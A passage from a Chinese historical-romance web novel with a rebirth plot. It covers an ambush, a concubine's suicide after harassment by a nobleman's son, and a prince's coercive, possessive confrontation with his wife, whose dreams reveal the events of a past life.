他真的好羡慕啊 那样一个无心之人,都配得到这样纯粹的爱,炽热到甘愿燃烧自我。 他也好想得到这样的真心,到头来却是成了她的刀下魂 可万一真的是误会呢,又要遗憾一世吗? 还会有下次机会吗? 他紧紧皱起眉,随即推开了些,转头而去,脚步渐快,最后奔跑的不见踪影。 * 谷底中还有一支队伍正向远离北镇的方向而去。 领头的是个女子,带的人并不算多,身着一身红衣,与四周环绕的白雪格格不入,显得有些孤寂。 此去洛阳是父亲的命令,父亲告诉她,此为密令,是以她并没有带太多人。 临走时晋王曾经挽留过她,可她知道,留不留下都意味着什么。 此一战,晋王已经算是在赤城一带扎稳了脚跟,而尔朱氏此战损失不能算少。 长此以往,必元气大伤。 尔朱阳雪呼出一口气,看了看自己那匹黑马, 那只马还是很多年前,他和她一起去平城的集市上挑的。 当时他还没有这么多不肯对她说的心事,挑中这匹马,也只是因为这匹马和她的性子像。 无拘无束,很是跳脱 尔朱阳雪向来时的方向看去。 她走时听说,他要赶去晋阳,似乎是和王妃有关 连最后一面都没见到。 不过这样也挺好。 此处乱石丛生,算是这谷底最不好走的一段,溪水融化,分成好几岔向不同方向而去,也不知道最终会再汇聚,还是漂向不同的湖泊汪洋 她低头伸手,摸了摸自己的那匹马,须臾之后眼神却似坚冰,马打快了些,淌着浅浅的溪流穿过乱石。 不过一会儿,她却勒住了马,做了个停的手势。 整支队伍都随之停了下来。 周围只有溪水潺潺声,风声都似被那丛生的乱石打散了。 一声石子滚动的声音足以让人警惕,尔朱阳雪拔出刀,余光向周围的乱石瞟去。 周围的人也察觉到什么,纷纷拔剑而出,将尔朱阳雪护在圈内。 乱石后骤然出现纵横乱影,像是鬼魅一般,朝她袭来。 队伍的阵型渐渐被打散,那些杀手身手敏捷,出手狠厉,不过多时,队伍中便有几人倒下,溅起一片片水花。 血融进溪流,不过几息便被染成了血河。 忽有一人点上乱石,像一只俯冲的鹰,向人群的中心而去。 尔朱阳雪分出神来,空翻下马。 那刺客没收住力道,剑划到了马脖上,引起一阵嘶鸣。 她愣了一瞬,眼中带了些狠,握住手里那把刀,直向那刺客砍去。 那刺客来不及反应,便被砍到肩,而后便瞪大了眼睛,和那匹马一样被划了脖子。 不在马背上,处境便是愈发危险,四方刀光剑影掠过,迎面而来又是一个刺客。 尔朱阳雪双手抵住刀背抵挡,背后却也有厉风掠过。 她借着力道后踢,迅速闪避开两道攻势,背上却还是被刀划开了一道口子,冷风直往新鲜的伤口上刺。 锐利的疼痛阵阵袭来,她站起身,眼似尖利的冰棱。 攻势又起,她又举起刀来,却是不知道能不能再一次挡住。 刀刃接住身前的剑光,头顶却有黑影落下。 尔朱阳雪闭上双眼,可那刀剑并没有如期刺向她的头颅。 有一只剑替她挡住了剑影,落在了她背后,连冷风都被挡住了许多。 尔朱阳雪愣了一瞬,抑制不住心中的猜测,却没有转头去看。 那道身影,即使不转过去,也是很熟悉。 “你可是受伤了?” 声音很是沉稳自背后响起,风雪逐渐迷了眼,尔朱阳雪点头,“不过是小伤罢了。” 仅说了这一句,杀招又迎面而来,尔朱阳雪咬着牙抵挡住面前的刀刃,身后的一道道杀意,皆被身后的人挡住。 杨知聿带来的人不少,身手也不差,眼瞧形势逆转,那带着令牌的刺客一吹口哨,随即一道烟雾弥漫开。 暗箭划过烟雾而来,杨知聿道了一声小心,将她拉开些。 那只毒箭穿过石峰,插在石壁上。 周围有溪水,烟雾溶于水中,散的很快。 过了许久,队中的人才松开口鼻。 队中有人反应快,去察看那支箭,大惊,“姑娘,这箭上有毒。” 杨知聿闻言拉住她的手臂,到处看了看,“你可有被那道箭擦伤?” 尔朱阳雪有些意外,目光落在他的脸上,却很快又低下了头,暗暗使劲,手臂挣开,“我没事” 杨知聿回神,声音也冷静下来,问道:“你是要去哪?” “我”尔朱阳雪收住话,未再吐露一个字,风轻云淡地反问道:“还没问表兄,不是去找王妃,怎么一个人回来了?” 杨知聿没有回答她的问题,声音又沉了几分,“你可是要去洛阳?” 尔朱阳雪慌乱一瞬,那风轻云淡的笑容也渐渐维持不住。 她气息不稳,似有些心虚,道:“我去哪里,杨将军管得着吗?” “洛阳路远,你真的要去吗?” 那道声音醇厚,却带着沙哑,尔朱阳雪不由抬头。 他不似平常,眼底猩红一片,眉尖凝起散不去的忧愁,让人忍不住想上前,将那眉间的褶皱抚平。 他开口道:“你若想去,我送你,你要想好了” 心房似被敲了一下,清灵悦耳,尔朱阳雪许久之后才启开唇,“我” 什么都还没说出口,杨知聿却率先上前一步,截住她的决定,“我不想让你去。” “你要知道,是我不想让你去的”他重复了一遍,眼神又坚定了几分,向她走了几步,“我来不是为了回去,就是想来告诉你,我不愿意让你去洛阳。” 第89章 第八十九章你都同她说了什么?…… 他说的最后一句离她极近,近到尔朱阳雪不禁后退。 周围的侍卫无一人上前,尔朱阳雪退后两步,蓦地停住,低下眼眸,道:“表兄愿不愿意让我去,于我而言又什么干系呢?” 杨知聿上前两步,握住她的手腕,说的郑重向,近乎恳求,“你能不能听我的,不要去…” “表兄也知道,我做过一个梦,现在梦里发生的——” “梦中的都在发生,对吗?”杨知聿接住她要说的话,“那倘若我说,你若是此次去了,就再也回不来了,不仅如此,你还会嫁给两代帝王,像尔朱氏的献祭品一样,到最后…” 他抿了抿唇,又道:“最后你的父兄要讨伐的,还是你和你诞下的孩子,你打算如何?” 尔朱阳雪愣住,一双唇微微战栗,“我会尽我所能,阻止这些事发生。” “倘若靠你自己,阻止不了怎么办?” 她静了下来,站在他的对面,仿佛被风雪隔开,背后是一片蜿蜒无际的猩红血水,不知要漫向何方。 “那便听天由——” 话还未说完,便被拉入了一个温暖的怀抱。 一切仿佛静了下来。 “我不会让你听天由命,绝对不会。” 那声音仿佛自胸腔震颤,连心跳都能感觉得到,越靠越近,仿佛触及了心底。 一滴泪落在了她的颈间,沾染上了风雪,却转眼间又变得温热,似一滴清泉滴在心间。 “我其实一直都很想救你,一直都很想…” 魂魄像被抽丝剥茧,她缓缓伸出手来,抱住面前的人,侧头轻问道:“那你打算怎么办?” 衣衫被人抓紧了些,像是不想放手,“哪怕今生一直抵在刀尖上,我也会护好想护的人。” * 岑璠正带着其他人往回赶,比起之前更沉默了些。 她伸出手来,看了看掌心的纹路,纵横在手掌的纹路很是清晰,是自己独有的,却在梦中从来没有看清过 手背挑起卷帘,梦里她也感受过刺骨的冬风,可那风一点味道都没有,只有感官上的冷而已。 “王妃在看什么?” “没什么。”岑璠放下车帘。 她还坐在曲芜的马车内,本是觉得太过叨扰,想回自己的队伍,曲芜身边的婢女怜儿却是将她拉了回来。 曲芜刚才正在马车内缝一只香囊,岑璠问过,那只香囊是送给穆大公子的。 她道:“曲姑娘当心绣坏了眼。” 曲芜摇了摇头,“我想在回到北镇前绣好…” 岑璠摸不清她的意思,“姑娘可是还心系穆大公子?” 曲芜脸上的笑容像是绽开一朵白兰,温婉恬静,“回到穆家,总要做些讨主君欢喜的玩意儿。” 岑璠听得心底酸涩,“曲姑娘可曾想过离开穆氏?” “那有这么轻易离开呀?” “我听殿下说,姑娘给的地契其实是假的。”岑璠道:“姑娘若是想出去,便交予我一份地契,剩下的事由我来安排便是。” 曲芜显然有犹豫,最后摇了摇头,“多谢王妃好意,妾身家中无依仗,能重得主君庇护,其实已经是最好了。” 岑璠终究没有再劝什么。 仅仅过了一夜,队伍便与杨知聿他们碰上了。 天空阴霾尽散,碧空如洗,她看见两人并肩而行,男子一身玄色军服,身旁的姑娘如火红骄阳,明艳动容,裙裾翻飞,将周围都照得明亮许多。 这才是相配的。 两个人心中有彼此,说开便好… 岑璠下了马车,站在一棵枯树下,“尔朱姑娘和杨大哥可有遇到危险?” 两人眼中含着笑意,相互对视一眼。 尔朱阳雪拍了拍胸脯,“王妃放心,都被我打跑了!” 杨知聿在一旁摇头一笑,岑璠压着嘴角,没笑出声。 两支队伍汇聚在一起,连先前遭遇的两波杀意都消散得无影无踪。 过了大丘,差不多便算出山。 回到北镇地碑前,有人正在关口等他们。 元衡看了看领队的两人,走上前去。 杨知聿下马谢罪:“末将接到消息,军镇有异动,有人绕过九云关向晋地而去,末将擅自带兵出关,还请殿下恕罪。” 元衡没同他计较什么,不仅如此,心情还颇好,“能回来便好。” 杨知聿起身,元衡随即问道:“王妃呢?” 杨知聿抬起头,并不想在此刻惹他,指穆氏的队伍。 元衡朝着曲芜的马车走去,羊毛铺成的车帘闭合,纹丝不动。 他还记得她走时的惜字如金,也是简简单单一句,“下来。” 毛毡车帘中伸出一只玉手,而后露出半张玉琢容颜。 车帘又合上,元衡停在那里,只字未言地等。 风掠过,直到止时,岑璠才下车,身上多裹了件银灰绣宝相花纹厚袄。 她低头稳稳行礼,“妾身恭贺殿下凯旋。” 他的脸色似有些苍白,眼一扫刚才那辆马车,臂便挽住她的腰,像是被风裹挟,卷着她往前走。 岑璠几乎是被塞上一辆马车的。 他身上有昼夜兼程的泥土和汗味,隐隐约约还有不熟悉的草香,总之不太好闻。 元衡随即一起钻进马车,坐到她身旁,像是一尊佛一样。 岑璠看得出他有闷气,“杨大哥救了妾身,也救了尔朱姑娘,殿下大可不必介怀。” “杨大哥?”他皱眉。 岑璠点头,“是。” 她目光紧紧锁住他,似在他眼中探寻什么,不同于平日的淡漠,眸中的光像是摇坠的烛火。 朱唇松开,却到底未发出一点声音。 “想问什么?”元衡问道。 眸中的光被遮掩起来,岑璠道:“没什么…” 元衡眼移开,蛮横勒令3“你不许这么叫他。” 胸中被这一句不讲理的话燎起火,岑璠张开嘴,很久才忍住不讽刺一番。 她冷静下来,又变成了那笼中厌食的鸟雀,“妾身知道了。” “王妃该问问,本王在北镇这几日,受了什么伤才对。” 岑璠没有顺从,可那眸底并不平静,还是带着探寻,又似悲悯世人的佛,连远山似的眉都要凝成一团。 “殿下到底为何总是要问这些呢…” 元衡知她并非不懂,心中郁结难舒,只得胸口,只得自鼻腔中呼出一口气。 “出去拿药。”他道。 他带来的马车比刚才曲芜那辆更不透风,用厚实的兽皮遮住。 岑璠走出马车,便感受到扑面而来的寒意,半截脖颈露在外面,风便趁虚而入往里灌。 她向军医领了这几日晋王常用的药来,迅速钻进了马车。 元衡自然而然脱下衣,大剌剌地,倒不像是身上有伤。 可他的胸口,确实有一道触目惊心的伤,拆开绷带,似是伤了有一阵,伤口已经有愈合的迹象。 岑璠早已学会给他上药,她净手,指轻点上那伤口,触及炽热的胸膛。 忽地,脑海中似闪过一些画面,不知何时,她好像也这样面对他,手指触上过他的胸膛。 那些画面她在梦中从未见过,安宁得不像话,却从缝隙中渗出酸涩。 像是沙漠行徒,匍匐在风沙中寻找水源,终于在快要渴死时找到了甘露。 药瓶中的药粉洒在了裙摆上。 元衡眼疾手快,接住了将要滚落的药瓶。 他问道:“究竟怎么了?” 岑璠回过神来,未言其他,视线落回他的伤口上,给他上好药。 再出去时,元衡已经穿好了衣裳,除了身上的药味更浓了些,和方才并无差别。 河边两人独坐,杨知聿正削好一只新笛子,递给尔朱阳雪。 元衡看到笛子,便是气不打一处来。 他踹起一粒石,刚好滚停在两人之间。 两人同时站起身,向他望过来。 元衡心中怨气更盛。 重来一世,他倒是仇也报了,人也算留下了… “你都同她说了什么?” 杨知聿一叠话到嘴边,可仔细想来,却又觉得岑璠应当是未同他说什么,所以才这般理直气壮地来质问他。 “殿下既如此在意,为何不问王妃?” 他的眼角弥漫出冷冽,尾音转冷,“我说过,我们的事轮不着你插手。” 他眼一眯,道:“既已做出选择,那便顾好眼前人。” “就算只当是她的兄长,我也要说,殿下——” 就这件事,元衡不允许他在说任何多余的,“这个兄长也轮不着你来当。” * 走出九云关,便有客舍驿馆,虽是破败,到底不用风餐露宿。 驿馆有三层,一行人将就在此处,三层有四间上房,她们占了两间,其余便由穆氏分占了去。 春日的暖意又被一场夜雪扫空,狂风拍打窗棂,吹了整整一夜,时而从房间内透出些微光。 腿与臂尚且交缠,唇细密地点在肩头,贪婪沉醉,似有再起之意。 岑璠转过头去,那唇靠得近在咫尺。 他在她的唇上轻轻啄了一下,眼尾还带有未消散的殷红,心情显然颇为舒爽。 他看出她有话要说,一声轻问浮在耳边,“怎么了?” 岑璠问道:“那些田,北镇的军户什么时候才能开始耕种?” 听到这句,元衡登时没了兴致,又不好在她身上讨得便宜后立刻翻脸,手臂垫在脑后,仰躺在床上,慵懒答道:“等到雪化开的时候,朝廷派来人便可以了。” 岑璠抿了抿唇,紧接着又 问道:“殿下可还记得曲芜?” 元衡侧过头,简单答道:“记得。” “曲氏先前在北镇无生计,此番应该也能分得些田,妾身想过几年,殿下能不能助她出府。” 元衡仍闭着眼,久久未答应,想了须臾睁开眼,翻了个身,直对她发问,“王妃真觉得,人人都想要离开,当那乡野村民?” “妾身没这个意思…” 那双深邃的眼直直凝视了她许久,在看她有没有撒谎,更是在威慑。 他撑了许久,才才从她身上起来,又平躺下,“王妃不必再想,曲氏到底不过一个军户,且不说她本人愿不愿意,那穆氏不肯放人,就算本王答应,曲氏在北镇一日也必不得安生。” * 翌日 风雪皆停,水凝成坚硬的冰,又掩埋在一层雪白下。 门外似有嘈杂声阵阵。 驿馆即使烧了炭火也不算暖和,岑璠夜里没睡安稳,便同身侧的人一起醒了。 元衡穿上衣,单手搡开门,驿馆的小厮刚好连滚带爬上楼。 宿在楼下的人似都是被小厮吵醒,乱作一团,七嘴八舌,倒也听不清楚在议论什么。 那小厮眼珠瞪得浑圆,“有人…有人死在井里了!” 第90章 第九十章你可以伤心,但不能哭。…… 元衡皱起眉,“可有查清,死的是谁?” 小厮尚且六神无主,但总算是认清面前的是谁,拱手,吞吞吐吐指向一旁,“殿下…死的是穆氏的人…对…” 他说的愈发语无伦次,元衡神色也变得凝重如霜,“你说是谁?” 韩泽紧随其后追了上来,匆匆行礼,袖下的手摆了摆,见那小厮还是神色无措,狠狠朝肩上一拍。 小厮猛地抬起身,点头起身下楼。 韩泽道:“殿下,是、是曲氏…” 元衡愣了一瞬,余光向后看去,从房内出来,轻轻关上门,“出去看看。” 元衡到时,人早已被抬了上来,有穆氏的人,也有他的人。 人是在几个时辰前跳的井,那时雪刚停,现在已经僵了。 元衡问过小厮,也是能对得上的说法,听说是今晨小厮起来去后院抱柴火时,发现井边有脚印,拿来烛火看见的。 “可有人去曲氏的房间?” 韩泽道:“方才已经有人上去了。” 周围的人有所顾忌,声音压低了些,可还是嘈杂纷乱,元衡扫一眼,韩泽一声示意下去,噤若寒蝉。 女子还坐卧在井边,一只脚上少了鞋袜,不知是谁给盖上卷草席,上面铺了层薄薄的飞雪,死寂无声。 元衡未出鞘,挑起草席,看清楚了那张已经没有血色的脸,夜色尚未消散,似与雪融为一景。 元衡无声收回剑鞘。 “是谁?” 背后传来一声轻问,那道影子在月光的照映下清瘦颀长,映在一地白雪上。 “能让我看看是谁吗?” 她身上披了一件袄,还没有裹紧,手抓在披袄上,目光下移,似闪烁着和雪一样的晶莹,又走近了些。 元衡沉下声,声音带了些劝哄,“你先回去,孤来处理。” 岑璠一摇一晃走到他身边,低下身去,指碰到草席一角时却微微蜷起,像是收紧翅膀的蝴蝶,终究没有掀开。 她站起身来,浑身战栗,元衡抓住她的臂,将她扶起来,握住她的肩,将她身上的袄又裹紧了些,“你先回去,外面太冷了。” “我想知道,是谁…”她的眼尾殷红,执拗道:“曲芜不会一个人无故坠井。” 元衡手指微动,忽然想起什么,叫来韩泽。 还没交代什么,杨知聿已经带来了两个人,一左一右,一个是曲芜身边的侍女怜儿,另一个跟在后面些的是穆尧。 两人见了井边的用草席盖住的人,皆是一震,怜儿头发乱糟糟的,踉跄着上前,跌倒在地,泪眼扑簌,竭声哭喊。 岑璠一时分不清真情假意。 她静静看着怜儿哭,最后目光慢慢锁向躲在杨知聿身后的穆尧。 穆尧只向后退了一步,岑璠便喝住,“站住!” 杨知聿握住刀的手往后一挡,拦住他,“穆公子总要交代清楚,昨夜都发生了什么。” 穆尧摆手,“昨夜我在房中,这曲氏的死与我何干?” 怜儿听后瞪大了眼,收住些哭声,倒也不怎么顾及主仆身份,喊道:“你说谎!昨日你分明在夫人的房中。” 穆尧踮起脚下意识想说什么。 元衡眼睛直直刺向他,穆尧身上骤然冒出一声冷汗, 元衡道:“昨日发生了什么,你如实说来。” 怜儿低下头去,迟迟不肯说话。 穆尧耸肩,“你看,我就说这婢女分明就是胡搅蛮缠。” 怜儿倏然间抬头,眼中除了泪光,更有几道血丝。 她咬牙,像是要撕肉饮血,“我没有冤枉人,就是他三番五次来找夫人,夫人不堪折辱,这才跳井的!” 岑璠呆愣住,许久才僵硬地转过头,“你说什么?” 怜儿说着,又不禁抽噎,“王妃还不知道吧,二公子在路上的几日常去骚扰夫人,前几日夫人常邀王妃夜宿马车,其实就是为防着二公子胡来……” “昨夜王妃不在,夫人昨日所在的客房又独在西南一角,二公子夜里又带了人来,胡言乱语,难以入耳,还叫人堵了奴婢的嘴,把奴婢绑了塞进柜子里…” 怜儿想到此处,泣不成声,“奴婢看不到,却也知道夫人挣扎得厉害,二公子收了手,可…” 岑璠手早已握紧,问道:“可是什么?” 怜儿看了看被草席遮起的人,捂起脸,呜咽出声。 岑璠低下身,凑近些才听得真切。 “他脱了夫人的一只鞋袜……”怜儿道:“夫人帮打开柜门,只穿了一只鞋出门,再也没回来。” 岑璠看了看曲芜露出来的那只脚,眼睛登时红了一圈。 她站起身来,从元衡身边掠过,抓住了他手中的剑。 元衡听到了怜儿微乎其微的声音,也一时不知该说什么好。 可他并没有放手,“皎皎,冷静些。” 穆尧显然也慌了神,“王妃可别听那奴婢信口雌黄啊!” 杨知聿道:“我们发现她的时候,她确实是在柜子里被绑着的,如何信口雌黄?” 穆尧笑了一声,似是不屑,嗫嚅道:“谁知道是不是曲芜自己把人绑了塞进柜,只听她一个人说啊!” 元衡道:“穆公子既觉得冤枉,那本王不如派人上去搜房,看能不能找到那鞋袜。” 穆尧眉一挑,随后嘴唇慢慢皱成一团,一拍手,“那也不能全怪我,分明是她自己想不开,你说她要是到我屋里拿鞋袜,我也不会不给啊…” 岑璠手越握越紧,颤抖不止。 元衡始终没松手,低声道:“不能杀他。” 渐渐地,那握剑的力道松了许多,岑璠苦笑,“在殿下眼中,像曲芜阿湄这样的人就是该死,罪大恶极之徒反倒是杀不得,是吗?” “孤不是这个意思,只是穆氏才收过田,此人是穆氏嫡出,现在动不得。” 岑璠未语,元衡能 感觉到她的手垂下,一颗心似都随之沉落。 “知道了,殿下放心,妾身并非不识大体之人…” 岑璠放开他的剑,向前走去。 穆尧不知道她要干什么,站在那里,嘴里还滔滔不绝解释。 清脆的一声响在耳边,穆尧止住了话,瞪大眼睛,不小心咬到舌头,嘴里泛起一阵血腥。 那一巴掌打得极重,耳鸣声仍在萦绕,穆尧尚有理智,忌惮晋王,不敢还手。 岑璠连着扇了好几个巴掌,无人上去阻止,眼瞧穆尧要动手,周围的侍卫将其擒住。 直到岑璠拔下头上的簪,元衡才握住了她的手腕,“莫要冲动。” 岑璠尚未放下手,指紧紧收在掌心,近乎能看见筋骨。 “皎皎回去吧。”他按下她的手腕,一点点掰开她攥紧的手心,“小心簪子扎手。 头上的簪子被簪回原位,穆尧也被带了下去,院中的人也很快散去,就连后院的积雪也被清扫出来。 此处离北镇还有两日,曲芜虽是个妾,可到底家在北镇,一行人在此停留一日,罗氏让人拿了银钱换来抬棺材。 一场雪后,仿佛又回到了寒冬,倒也好把人体面地带回去。 安顿妥善已是晚上,此处驿馆周围只有几个村落,算是地处荒野,曲芜暂时被搁放在驿馆外的一片空地,因着要将人运回去,明日便要封棺。 岑璠带来三炷香,在旁点燃,拜过后停留了一会儿。 听几个仵工说,曲芜不仅仅头上有伤,身上也有很多未消散的痕迹,像是之前被什么鞭子打过一般。 她也并非喜欢那穆大公子,就真的只是为了活着,像她说的一样,讨人欢喜罢了… 至于那正室罗纯,她也不相信,同在穆氏队伍中,她会对穆尧的行径毫无察觉。 说到底,都只不过是觉得她像一个玩意儿罢了。 岑璠看着那口棺材,眼眶间又泛起湿润。 “对不起…” 对不起,没能早点察觉这些。 颀长的身影遮挡住了香燃起的光亮,就连开口的声音也如暖春回寒。 “哭什么?” 岑璠自己站起身来,一句话也没说,袖子擦了泪,提上地上的灯笼,便要离开。 “你可以伤心,但不能哭…”元衡拽住她。 岑璠觉得他毫不讲理,啼笑出声,“为什么?” “她不过一个过客,与你并无交集,你替她哭,是在哭什么?”元衡走近了几步,“孤说过,孤不是他们,你也不会是她…” “她这样努力活着,我只是哀其不幸罢了。” 她直对着他的目光,眸中清冷的月光似找到人心底,粼粼波光,声如鸿毛,“殿下方才说不是那些人,可殿下的喜欢,是喜欢我这个人,还是皮囊?亦或是喜欢别的什么?” 元衡对上那道目光,面色凝重,喉咙滚动,抚上她的脸颊,而后绽开一个笑容,“王妃的皮囊,本王自是看不够,可看不够的,自然也有别的。” “本王也真想将王妃这颗心扒开,看看到底是什么长的。” 岑璠静静听着这席话,眼中没有波澜,就连曾经表露出的嫌恶都没有,就好像在听他与另一个人说话一般。 “人心自然都是肉长的。”沉默须臾后,岑璠答道。 “殿下想看我的心,可是有想过看看,上一世的她心是怎么长的?”【你现在阅读的是 】 90-100 第91章 第九十一章上一世她小产,你在哪里?…… 元衡不敢相信刚才她说了什么。 那道身影迎着月光,冷得让人避之不及,冷到让元衡不着痕迹地后退两步。 他回过神,停住脚步,紧绷的心弦像是随时要崩。 他轻轻问了句,“你说什么?” 岑璠袖子下的手攥紧,眼神也跟着坚定了几分,“我说,殿下上辈子难道没有想过,问问她心里在想什么吗?” 元衡早已睁大了眼,“你” 她难道是恢复了记忆吗? 元衡反复在心底问自己这个问题,一遍遍发问,从猜疑到难以掩饰的恐惧。 目光时不时交汇。元衡却只在那双眼中看到了冷漠,即使是戳穿了他的一切,看到他最真实的狼狈,也只有平静。 高傲的脊梁仿佛被压垮,连同往日的蛮横也被压得粉碎,他低下头去,只能看到脚下茫茫白雪。 许久之后,他却摇了摇头,默声重复,“不对,不可能” 他抬起头来,咬牙切齿道:“是他,对不对?” 那眼底猩红,眼角像是要渗出血来一样,周身也是嗜血的戾气,“他是不是同你说了什么?” 凌冽的寒气直逼来,岑璠纵然坦荡,也不由打了个寒战。 朱唇像被风吹开的花瓣,许久后才轻轻弯起,“殿下并非现世之人,我梦里的人一直都是殿下,对吗?” 元衡抬起头,向她走来,似是神情有些恍惚,“你在梦里梦到孤?…你都梦到了什么?” 他向前走,脚步不稳,映在灯火下,却像是一具行尸走肉,影子触碰到她脚尖的刹那,岑璠却向后退了一步。 月光照清一张凄白脸,他用力扯出一个笑容,鬼魅妖娆,甚至有些扭曲,“皎皎别怕,梦里的都不是真的,孤不会那么对你,你相信孤,不会的…” 他步步逼近,岑璠终于慌了神,双手握住手里的灯笼,隔出一点距离。 “殿下,我不是她…” 元衡停住了脚步,目光没了焦点。 岑璠鼓起勇气,道:“她只出现在我的梦里,对我而言,也不过是一场梦罢了。” 说完这话,岑璠心里却还是泛起些酸涩。 她知道,那可能就是上一世的自己,也许她还是忍不住为曾经那个自己扼腕叹息… 颈间的冷汗被吹干了一层,她抿了抿唇,还是决定将那些纠缠过往残忍斩断。 “殿下,对不起,我做不到将她还给你。” “于我而言,现在的我比她活得更好些,梦里的事我其实记不大真切,她或许也不愿意让我想起来,回不去的…” 面前那影子明显晃动了一下,像是被压垮了一般。 她说她不是她,曾经那个全心全意对他,肯为他死的岑璠,已经彻底不在了… 她不愿想起上一世的事… 元衡低头,无声地笑了,再抬起头时,眸中浓墨翻滚。 他朝着她的方向大步而去,浑身透着诡异的气氛,岑璠步步后退,踩断了刚才点燃的香,停住脚步。 他一只手揽住她,像是吃醉了酒的人,声音沙哑而又魅惑,“那怎么办?王妃不是答应孤,好好做王妃,不走吗?” 声音近在咫尺,那张面容映着月光,愈显阴鸷。 岑璠想挣脱他的桎梏,可他的力气终究比她大很多,一只手按在她的腰上,想是一只断翅的雀被握在掌中。 他不顾她的挣扎,笑着在她的唇角一吻,“皎皎放心,总有一天,你会变成她。” 总有一天,会心甘情愿留在他身边。 岑璠难以置信,那声音盘绕在耳畔,一时怒上心头。 那吻又要落下,岑璠张开嘴,合上齿,死死咬住他的下唇。 血腥蔓延开,一声闷哼响起,元衡握住她的肩头,将她推开些,岑璠 才松口。 血色仿佛一层胭脂点缀,岑璠用看疯子的眼神多瞪了他一眼,提起灯笼,二话不说便要离去。 下一刻,颈上却是被重重劈了一下。 元衡自后托住要倒下的她,接过她手中要掉落的灯笼。 他嗅了嗅她的发间,“本王放不开手,该怎么办呢?” “皎皎你说,再把你锁起来,和孤的手锁在一起,好不好?” 他捏起她白皙的手腕,轻轻摩挲,露出淡淡的笑。 忽然后面袭来一阵风,向他而来。 元衡护住她的头,来不及转身,肩上硬生生接了一拳。 “你要对她做什么?” 那一拳不轻不重击向他的右肩,元衡踉跄两步,左肩的伤口也连带着阵阵闷痛。 他转过头去,看见杨知聿,将她搂得更紧了些,像一匹狼般恶狠狠盯向他,“关你何事?” “你既决定要尔朱阳雪,就该彻底放弃她,你一而再,再而三插手本王和王妃的私事,你信不信本王——” “我凭什么不能管?”杨知聿打断他的话,拳头捏得咯咯直响。 攻势既起,却见他不打算躲,杨知聿愣了愣,转而算是看了个明白,他这个人并不怕皮肉上的疼…。 杨知聿垂下手,转而却换了个讥讽的笑容,朝更疼的地方戳去,“让我放弃她?可你早都把她放弃了,知道吗?” 话音一落,元衡将怀中的人越抱越紧,不住摇头,像是陷入魔怔,重复否认,“孤怎么可能放弃她,孤不可能放弃她…” 杨知聿看了看他禁锢在怀中的人,咬紧牙,冷声质问,“那上一世,她在洛阳遭人追杀,小产的时候,你在哪儿?” 他说的话对于元衡来说,实在太过陌生,他安静下来,僵硬转头,恍惚道:“你说什么…” “我说,她上一世被殿下赶到庄子上,有了身孕,殿下不仅放弃了她,更是放弃了她的孩子…” 他那时救下被追杀的阿雪,将她安置在离庄子不远的村落旁,危机四伏,晋王对尔朱氏态度不明,颇有隔岸观火之意,他也不敢相信。 村落中无药可寻,他走投无路,还是赌一把,带上人去晋王在洛阳附近的庄子讨药,却是在附近遇到了岑璠。 彼时她躲在离庄子不远处的废弃猎屋中,有婢女挡在门外,他救下她时那婢女已经没了气息… 那时她身下见了红,好在腹中的孩子还算坚强,没有落胎。 “她那时遭人追杀,我送她回庄子,想取走一些止血的药,她那时欣然答应,我和阿雪打算走的时候,再回去看她,却得知她已经小产的消息。” “后来我才知道,那个时候她救孩子的药并不够用,那些刁奴知道晋王殿下厌恶她,也不愿意悉心照料,余下留给她的药材根本不够稳胎…” 元衡眼中布满了血丝,觉得不可置信,不住摇头,低头看向她,“这怎么可能,她怎么会…” 杨知聿冷漠地看着他变得癫狂,提醒道:“殿下别忘了,她当初是为何被您赶到庄子上。” 元衡当然记得,可他不曾想,他将她赶到庄子上,竟是错失了一个孩子… 他这一世,心心念念想让她生的孩子…… “我帮她说话,是因为我和阿雪欠她的,可上一世她会如此,你脱不开干系,你凭什么还不遂她意,还要如此不知悔改?” “够了!”元衡打断他的话,“孤会对她好,不用你来说,孤会比任何人都对她好…” 元衡不愿再在这里待下去,嘴上还念叨着,步子有些悬浮,仿若鬼魅。 直到驿馆前,错乱的心绪才缓过来了些,他低下身去,想要吻一吻她的额,却在她的额前停住。 他将她往上抱了抱,径直往楼上走。 驿馆中还有不少人未歇下,有目光向他们看来,却无人敢凝视,更无议论声。 元衡将她安顿好,听到了轻轻的敲门声。 他整顿好神情,打开门后恢复了往日的冷静: 韩泽站在门外,问道:“殿下可准备去见那驿官?” “什么驿官?” 韩泽愣了愣,“殿下刚才可是没遇见杨将军?” 元衡顿声,而后道:“什么事,你现在说。” 韩泽便也不再过问什么,道:“方才有从洛阳来的驿官,带了金牌,说是太子病重,要殿下即刻带兵回洛阳。” “殿下可要觉得是真的?” 元衡记得,上一世太子起兵,召他回宫的旨意确实是皇帝下的,他那时进宫铲除太子的势力,可老皇帝临死前却以无召回宫降罪于他,将皇位让给了兄长。 这一世改变了太多事,军镇没有乱,尔朱氏没有进宫,宫中那位太子妃也并非被人当作病逝。 很多事都不一样了,提早发生也不是不可能… “你去将那驿官带来,让所有人收拾好东西,明日一早回军镇。” * 翌日 岑璠是被背上一阵痒吵醒。 睁开眼时,天还朦胧,在眼前映清楚的,是一张熟悉的脸。 岑璠这才发现,她睡在元衡身上… 她慌忙撑起身子,被子下的光景便是一览无余。 她身上竟是不着寸缕,连盘好的发都被散了下来。 他也是如此… 元衡扫了一眼,轻轻笑了笑,“醒了?” 昨晚的记忆涌上心头,包括他从她背后打她的那一下。 岑璠慌忙从他身上起来,拽走了被子,将自己裹得严实。 元衡掌心还抓着她的一缕头发,扯痛了岑璠,她向他的手看去,他才风轻云淡地松开。 她眼中充满敌意,道:“你要做什么?” 元衡起身,倒也不顾身上没穿什么衣裳,也没有生气,“本王没想做什么。” 他沉默了许久,当真老实得不像话,戾气消失得一干二净,眼中还带有淡淡得笑意。 就好像是昨夜被鬼魂上身一般… 看着他平静的笑容,岑璠又想起昨日迎着凄白月光的诡笑,不由打了个寒战。 也不知道现在面前的是人是鬼…。 元衡倒也不疯了,一副好脾气,“你是不是很怕本王?” 岑璠没有回答,眼神却装不了地躲开了。 元衡本就知道答案,看到她的反应,目光回落,似有一些寞落,道:“你以后便不必害怕了。” “本王放你走。” 声音回荡在耳边,岑璠一瞬间,只以为自己听错了,眼睛都不由睁大了些。 外面的天又明亮了几分,元衡一瞬间觉得,在她的眼中都看到了光亮。 那种刺眼的光。 他不愿去看她眼中的期待,继续说着他想了一晚上才决定的事,“宫里的太子病重,各地不太平,你先随本王回北镇调兵,本王送你去晋阳,回王府后,把和离书给你…” 岑璠眼中只剩惊讶,“你…” 